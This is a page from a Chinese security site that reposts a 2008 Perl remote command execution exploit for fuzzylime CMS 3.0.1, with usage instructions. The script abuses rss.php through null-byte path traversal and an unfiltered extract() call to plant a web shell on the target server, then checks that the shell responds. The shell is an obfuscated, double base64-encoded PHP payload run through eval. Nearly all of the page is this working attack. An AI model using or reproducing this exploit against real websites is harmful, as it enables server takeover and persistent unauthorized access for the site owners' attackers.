首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
fuzzylime (cms) 3.01 Remote Command Execution Exploit
来源:ax330d@gmail.com 作者:Ams 发布时间:2008-07-07  
#!/usr/bin/perl
#
# fuzzylime 3.0.1 Perl exploit
#
# discovered & written by Ams
# ax330d@gmail.com
#
# DESCRIPTION:
# There are availability to load files through script
# rss.php, and also there are unfiltered extract(); usage.
# This exploit creates shell in /code/counter/middle_index_inc.php
#
# USAGE:
# Run exploit: perl expl.pl http://www.site.com
#
# NEEDED:
# magic_quotes_gpc=off
#

use strict;
use IO::Socket;

print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\n\t\t fuzzlyime 3.0.1 exploit
\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

if(@ARGV<1){
die "\n\tUsage:\texpl.pl url\n\n
\n\tExample:\texpl.pl http://localhost/path/\n\n";
}

my $expl_url=$ARGV[0];
my $shell=q~
<?php
$shell='YVhOelpYUW9KRjlRVDFOVVd5ZHdhSEJwYm1adkoxMHBQMlJwWlNod2FIQnBibVp2S0NrcE9qQTdDaVJsY2owbkp6c2tjMjA5Snp4a2FYWWdZMnhoYzNNOUltNW1ieUkrU1c1bWJ6cGJjMkZtWlY5dGIyUmxQU2N1YVc1cFgyZGxkQ2duYzJGbVpWOXRiMlJsSnlrdUoxMG1ibUp6Y0R0YloyeHZZbUZzY3owbkxtbHVhVjluWlhRb0ozSmxaMmx6ZEdWeVgyZHNiMkpoYkhNbktTNG5YU1p1WW5Od08xdHRZV2RwWTE5eGRXOTBaWE5mWjNCalBTY3VhVzVwWDJkbGRDZ25iV0ZuYVdOZmNYVnZkR1Z6WDJkd1l5Y3BMaWRkSm01aWMzQTdXMlJwYzJGaWJHVmtYMloxYm1OMGFXOXVjejBuTG1sdWFWOW5aWFFvSjJScGMyRmliR1Z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aWRHVjRkQ0lnYm1GdFpUMGlaWFpoYkNJZ2RtRnNkV1U5SWlJdlBqeGljaTgrUEhBK0NqeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUluTmxkQ0lnZG1Gc2RXVTlJazlySWk4K1BDOXdQZ284TDJadmNtMCtQQzlrYVhZK1BDOWliMlI1UGp3dmFIUnRiRDRuT3c9PQ==';
eval(base64_decode(base64_decode($shell)));
?>
~;
my $shell_name='middle_index.inc.php';

print "\tStarting exploit...\n";
if($expl_url=~m#http://#){
exploit($expl_url);
} else {
exploit('http://'.$expl_url);
}

sub exploit {
# Defining...
my $site=pop @_;
(my $a,my $b,my $c,my @d)=split /\//,$site;
my $path=join('/',@d);
my $host=$c;
if($path) {$path='/'.$path;}
my $injection="p=../code/content.php%00&s=$shell_name%00&curcount=$shell";
my $length=length($injection);

# Injecting...
my $socket=IO::Socket::INET->new(
Proto=>"tcp",
PeerAddr=>$host,
PeerPort=>"80"
);
if( ! $socket){
die("\n\tUnable to connect to http://$host\n\n");
} else {

my $packet = "POST $path/rss.php HTTP/1.1\r\n";
$packet .= "Host: $host\r\n";
$packet .= "Connection: Close\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length: $length\r\n\r\n";
$packet .= "$injection";
print $socket $packet;
close($socket);
}
sleep(1);
# Checking for shell...
$socket=IO::Socket::INET->new(
Proto=>"tcp",
PeerAddr=>$host,
PeerPort=>"80"
);
if( ! $socket){
die("\n\tUnable to connect to http://$host (check shell yourself)\n\n");
} else {
my $packet = "POST $path/code/counter/$shell_name HTTP/1.1\r\n";
$packet .= "Host: $host\r\n";
$packet .= "Connection: Close\r\n\r\n";
print $socket $packet;

my $rcv;
my $dat='';
while($rcv=<$socket>){
$dat.=$rcv;
}
if ($dat =~ /200 OK/){
print "\n\t$site\t[OK]\n\n";
} else {
print "\n\t$site\t[FAIL]\n\n";
}
close($socket);
}
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ImperialBB <= 2.3.5 Remote Fil
·CMailServer 5.4.6 (CMailCOM.dl
·Thelia 1.3.5 Multiple Vulnerab
·Safari + Quicktime <= 7.3 RTSP
·Site@School <= 2.4.10 (fckedit
·fuzzylime cms 3.01a (file) Loc
·Joomla Component altas 1.0 Mul
·CMS WebBlizzard (index.php pag
·Triton CMS Pro (X-Forwarded-Fo
·phPortal 1.2 Multiple Remote F
·Neutrino 0.8.4 Atomic Edition
·Joomla Component is 1.0.1 Mul
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved